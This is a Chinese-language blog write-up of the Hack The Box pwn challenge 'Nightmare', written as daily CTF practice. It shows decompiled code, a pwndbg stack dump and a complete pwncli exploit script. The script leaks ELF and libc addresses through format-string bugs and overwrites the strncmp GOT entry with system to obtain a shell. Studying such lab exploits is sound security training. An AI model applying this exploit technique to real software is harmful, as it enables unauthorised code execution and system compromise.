selph
selph
Published on 2024-11-01 / 30 Visits
0
0

每日一练8:[HTB]Nightmare

前言

今天是格式化字符串漏洞的基础题目,无回显的格式化字符串,劫持got表函数

每日一题计划:督促自己练习,每日分享一题的练习!想一起刷题咱们可以一起练练练,以及,相互监督!

今天是第8天,慢慢来就很快

题目情况

You seem to be stuck in an endless nightmare. Can you find a way out?

    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

全开,但是没有RELRO

逆向分析

运行:

Nightmare ➤ ./nightmare
What do you wanna do?
1. Scream into the void.
2. Try to escape this nightmare.
3. Exit
>

main:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char opt; // [rsp+Fh] [rbp-1h]

  sub_1269(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      sub_12DD();
      opt = getchar();
      getchar();
      if ( opt != 51 )
        break;
      puts("Seriously? We told you that it's impossible to exit!");
    }
    if ( opt > 51 )
    {
LABEL_10:
      puts("No can do");
    }
    else if ( opt == 49 )
    {
      sub_1329();
    }
    else
    {
      if ( opt != 50 )
        goto LABEL_10;
      sub_13D8();
    }
  }
}

1和2选项分别进入不同的函数,但是都不会退出程序

选项1:

unsigned __int64 sub_1329()
{
  char s[280]; // [rsp+0h] [rbp-120h] BYREF
  unsigned __int64 v2; // [rsp+118h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Aight. Hit me up\n>> ");
  fgets(s, 0x100, stdin);                       // 无溢出
  fprintf(stderr, s);                           // 格式化字符串
  return __readfsqword(0x28u) ^ v2;
}

存在格式化字符串漏洞,远程会呈现无回显的样子

选项2:

unsigned __int64 sub_13D8()
{
  char s[6]; // [rsp+2h] [rbp-Eh] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter the escape code>> ");
  fgets(s, 6, stdin);
  if ( !(unsigned int)sub_13A8(s) )             // 字符串对比,相同lulzk,则进入
  {
    puts("Congrats! You've escaped this nightmare.");
    exit(0);
  }
  printf(s);                                    // 格式化字符串,6字节
  puts("\nWrong code, buster");
  return __readfsqword(0x28u) ^ v2;
}

依然存在格式化字符串漏洞,但是缓冲区只有6

提供了退出的条件

利用分析

整理一下当前状况:

  • 无RELRO,
  • 格式化字符串漏洞,无限触发
  • 特殊条件下会调用exit

思路:

  1. 第一次触发,利用格式化字符串漏洞泄露libc地址
  2. 第二次触发,利用格式化字符串漏洞泄露elf地址
  3. 第三次触发,利用格式化字符串漏洞改strncmp为system
  4. 程序没提供libc,需要自己用libc database去查

地址泄露

栈信息:

pwndbg> stack 50
00:0000│ rsp   0x7ffe20b07ed8 —▸ 0x5623c520543d ◂— lea rdi, [rip + 0xc54]
01:0008│ rdi-2 0x7ffe20b07ee0 ◂— 0xa702439250000
02:0010│-008   0x7ffe20b07ee8 ◂— 0x1decc22e8e1bce00
03:0018│ rbp   0x7ffe20b07ef0 —▸ 0x7ffe20b07f10 ◂— 0x1
04:0020│+008   0x7ffe20b07ef8 —▸ 0x5623c52054d5 ◂— jmp 0x5623c52054f2
05:0028│+010   0x7ffe20b07f00 ◂— 0x0
06:0030│+018   0x7ffe20b07f08 ◂— 0x3200000000000000
07:0038│+020   0x7ffe20b07f10 ◂— 0x1
08:0040│+028   0x7ffe20b07f18 —▸ 0x7fc023dbad90 (__libc_start_call_main+128) ◂— mov edi, eax
09:0048│+030   0x7ffe20b07f20 ◂— 0x0
0a:0050│+038   0x7ffe20b07f28 —▸ 0x5623c5205478 ◂— endbr64
0b:0058│+040   0x7ffe20b07f30 ◂— 0x100000000
0c:0060│+048   0x7ffe20b07f38 —▸ 0x7ffe20b08028 —▸ 0x7ffe20b09051 ◂— 0x4d2f642f746e6d2f ('/mnt/d/M')
0d:0068│+050   0x7ffe20b07f40 ◂— 0x0
0e:0070│+058   0x7ffe20b07f48 ◂— 0xaf3360b4aedb95c9
0f:0078│+060   0x7ffe20b07f50 —▸ 0x7ffe20b08028 —▸ 0x7ffe20b09051 ◂— 0x4d2f642f746e6d2f ('/mnt/d/M')
10:0080│+068   0x7ffe20b07f58 —▸ 0x5623c5205478 ◂— endbr64

这里偏移9的地方是elf地址,偏移13的地方是libc地址

#leak elf address
opt2(b"%9$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
elf.address = leak  -0x14d5
success(f"elf.address: {hex(elf.address)}")

# leak libc address
opt2(b"%13$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
#libc.address = leak -0x29d90
libc.address = leak -0x270b3

success(f"libc.address: {hex(libc.address)}")

劫持 got 函数

payload = fmtstr_payload(5,{
#    elf.got.strncmp:libc.sym.system
    elf.got.strncmp:libc.address + 0x55410
})
sl(b"1")
s(b"\n")
opt1(payload)

有没有回显其实不重要,只要知道偏移,且能执行,就可以

这里的fmtstr_payload偏移是5,是因为fprintf参数格式化在第二个参数,所以寄存器还有4个参数而不是5个

完整exp

#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=b"> "):
    sla(prompt, i)

def opt1(context: bytes):
    cmd(b'1')
    sla(b">> ",context)
    #......

def opt2(context: bytes):
    cmd(b'2')
    sla(b">> ",context)
    #......

#leak elf address
opt2(b"%9$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
elf.address = leak  -0x14d5
success(f"elf.address: {hex(elf.address)}")

# leak libc address
opt2(b"%13$p")
leak = rl()[:-1]
leak = int(leak,16)
success(f"leak: {hex(leak)}")
#libc.address = leak -0x29d90
libc.address = leak -0x270b3

success(f"libc.address: {hex(libc.address)}")

payload = fmtstr_payload(5,{
#    elf.got.strncmp:libc.sym.system
    elf.got.strncmp:libc.address + 0x55410
})
sl(b"1")
s(b"\n")
opt1(payload)
opt2(b"sh\x00")

ia()

总结

格式化字符串,劫持got,无回显

参考资料


Comment